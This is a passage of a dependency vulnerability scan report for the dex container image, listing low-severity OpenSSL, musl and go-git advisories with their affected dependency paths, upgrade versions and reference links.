- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: When EVP_PKEY_derive_set_peer() is called with a DHX (X9.42) peer key, the peer key is not properly checked for the subgroup membership.

Impact summary: A malicious peer which presents an X9.42 key carrying the victim's p and g parameters, a forged q = r (a small prime factor of the cofactor (p−1)/q_local), and a public value Y of order r can recover the victim's private key after a small number of key exchange attempts.

When EVP_PKEY_derive_set_peer() is called with a DHX (X9.42) peer key, the subgroup membership check Y^q ≡ 1 (mod p) is performed using the peer's own q parameter, not the local key's q. The peer's domain parameters are then matched against the domain parameters of the private key, but the value of q is not compared.

A malicious peer who presents an X9.42 key carrying the victim's p, g, a forged q = r (a small prime factor of the cofactor), and a public value Y of order r passes all checks. The shared secret then takes only r distinct values, leaking priv mod r. Repeating for each small-prime factor of the cofactor and combining via CRT recovers the full private key (Lim–Lee / small-subgroup-confinement attack).

The realistic attack surface is narrow: principally CMP deployments with long-lived RA/CA DHX keys and bespoke enterprise or government applications using X9.42 DHX static keys with interactive protocols and therefore this issue was assigned Low severity.

The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are affected by this issue.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/3da5a516cd2635a320ff748503db2cef7c4b0f02
- https://github.com/openssl/security/commit/3ddbb7ab50bd93dfc59cbe08e269a67605aeebdb
- https://github.com/openssl/security/commit/5f452bba2c681423d8fcffd120a19b757ee42e3c
- https://github.com/openssl/security/commit/7fbfde7677ed8808828bf00ff01c937ca04bdda2
- https://github.com/openssl/security/commit/ca2237ab5615641b662183b077f62c08d75e8070
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/3da5a516cd2635a320ff748503db2cef7c4b0f02
- https://github.com/openssl/openssl/commit/3ddbb7ab50bd93dfc59cbe08e269a67605aeebdb
- https://github.com/openssl/openssl/commit/5f452bba2c681423d8fcffd120a19b757ee42e3c
- https://github.com/openssl/openssl/commit/7fbfde7677ed8808828bf00ff01c937ca04bdda2
- https://github.com/openssl/openssl/commit/ca2237ab5615641b662183b077f62c08d75e8070

More about this vulnerability

## CVE-2026-45445

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: When an application drives an AES-OCB context through the public EVP_Cipher() one-shot interface, the application-supplied initialisation vector (IV) is silently discarded.

Impact summary: Every message encrypted under the same key uses the same effective nonce regardless of the IV supplied by the caller, resulting in (key, nonce) reuse and loss of confidentiality. If the same code path is used to compute the authentication tag, the tag depends only on the (key, IV) pair and not on the plaintext or ciphertext, allowing universal forgery of arbitrary ciphertext from a single captured message.

OpenSSL provides two ways to drive a cipher: the documented streaming interface (EVP_CipherUpdate / EVP_CipherFinal_ex) and a lower-level one-shot, EVP_Cipher(), whose documentation explicitly recommends against use by applications in favour of EVP_CipherUpdate() and EVP_CipherFinal_ex(). The OCB provider's streaming handler flushes the application-supplied IV into the OCB context before processing data; the one-shot handler did not. Every call to EVP_Cipher() on an AES-OCB context therefore ran with the all-zero key-derived offset state left by cipher initialisation, regardless of the caller's IV.

If EVP_EncryptFinal_ex() is subsequently used to obtain the authentication tag, the deferred IV setup runs at that point and clears the running checksum that should have been accumulated over the plaintext. The resulting tag is a function of (key, IV) only and verifies against any ciphertext produced under the same (key, IV) pair.

The OpenSSL SSL/TLS implementation is not affected: AES-OCB is not a TLS cipher suite, and libssl does not call EVP_Cipher() in any case. Applications that drive AES-OCB through the documented streaming AEAD API (EVP_CipherUpdate / EVP_CipherFinal_ex) are not affected. Only applications that combine the AES-OCB cipher with the EVP_Cipher() one-shot API are vulnerable.

The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as AES-OCB is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/323f0b6e7d530a4cb4336d50c88cb70f3ac2a451
- https://github.com/openssl/security/commit/787a6dfba81b7b09c1e05ab31396c0cd7c36b3f7
- https://github.com/openssl/security/commit/7ac4715234ee72d9f3c93426a2c08554b5b771af
- https://github.com/openssl/security/commit/843c9b94ca9c2ed248bb30127bb4f3d7af0d607c
- https://github.com/openssl/security/commit/983d54b5cce8d16147548ed1a37892d1720bbab6
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/323f0b6e7d530a4cb4336d50c88cb70f3ac2a451
- https://github.com/openssl/openssl/commit/787a6dfba81b7b09c1e05ab31396c0cd7c36b3f7
- https://github.com/openssl/openssl/commit/7ac4715234ee72d9f3c93426a2c08554b5b771af
- https://github.com/openssl/openssl/commit/843c9b94ca9c2ed248bb30127bb4f3d7af0d607c
- https://github.com/openssl/openssl/commit/983d54b5cce8d16147548ed1a37892d1720bbab6

More about this vulnerability

## Always-Incorrect Control Flow Implementation

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: musl/musl
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and musl/musl@1.2.5-r21

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › musl/musl-utils@1.2.5-r21 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › musl/musl-utils@1.2.5-r21 › pax-utils/scanelf@1.3.8-r2 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › alpine-baselayout/alpine-baselayout@3.7.1-r8 › busybox/busybox-binsh@1.37.0-r30 › busybox/busybox@1.37.0-r30 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › zlib/zlib@1.3.1-r2 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › musl/musl-utils@1.2.5-r21

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `musl` package and not the `musl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

An issue was discovered in musl libc 0.7.10 through 1.2.6. Stack-based memory corruption can occur during qsort of very large arrays, due to incorrectly implemented double-word primitives. The number of elements must exceed about seven million, i.e., the 32nd Leonardo number on 32-bit platforms (or the 64th Leonardo number on 64-bit platforms, which is not practical).

## Remediation

Upgrade `Alpine:3.23` `musl` to version 1.2.5-r23 or higher.

## References

- https://musl.libc.org/releases.html
- https://www.openwall.com/lists/oss-security/2026/04/10/13
- http://www.openwall.com/lists/oss-security/2026/04/10/13

More about this vulnerability

## Improper Resource Shutdown or Release

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: musl/musl
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and musl/musl@1.2.5-r21

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › musl/musl-utils@1.2.5-r21 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › musl/musl-utils@1.2.5-r21 › pax-utils/scanelf@1.3.8-r2 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › alpine-baselayout/alpine-baselayout@3.7.1-r8 › busybox/busybox-binsh@1.37.0-r30 › busybox/busybox@1.37.0-r30 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › zlib/zlib@1.3.1-r2 › musl/musl@1.2.5-r21
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › musl/musl-utils@1.2.5-r21

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `musl` package and not the `musl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

A security flaw has been discovered in musl libc up to 1.2.6. Affected is the function iconv of the file src/locale/iconv.c of the component GB18030 4-byte Decoder. Performing a manipulation results in inefficient algorithmic complexity. The attack must be initiated from a local position. To fix this issue, it is recommended to deploy a patch.

## Remediation

Upgrade `Alpine:3.23` `musl` to version 1.2.5-r22 or higher.

## References

- https://vuldb.com/submit/796352
- https://vuldb.com/vuln/356620
- https://vuldb.com/vuln/356620/cti
- https://www.openwall.com/lists/oss-security/2026/04/02/10
- https://www.openwall.com/lists/oss-security/2026/04/03/2
- http://www.openwall.com/lists/oss-security/2026/04/09/19

More about this vulnerability

## Improper Encoding or Escaping of Output

low severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-git/go-git/v5/plumbing/transport/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/plumbing/transport/ssh@v5.16.4

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/plumbing/transport/ssh@v5.16.4

## Overview

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output due to improper escaping of single quotes in the SSH transport command construction process. An attacker can inject arbitrary shell tokens by including single quotes in the repository path, potentially leading to unintended command execution on SSH servers that evaluate the exec command through a shell.

## Remediation

Upgrade `github.com/go-git/go-git/v5/plumbing/transport/ssh` to version 5.19.1, 6.0.0-alpha.4 or higher.

## References

- GitHub Advisory
- GitHub Commit

More about this vulnerability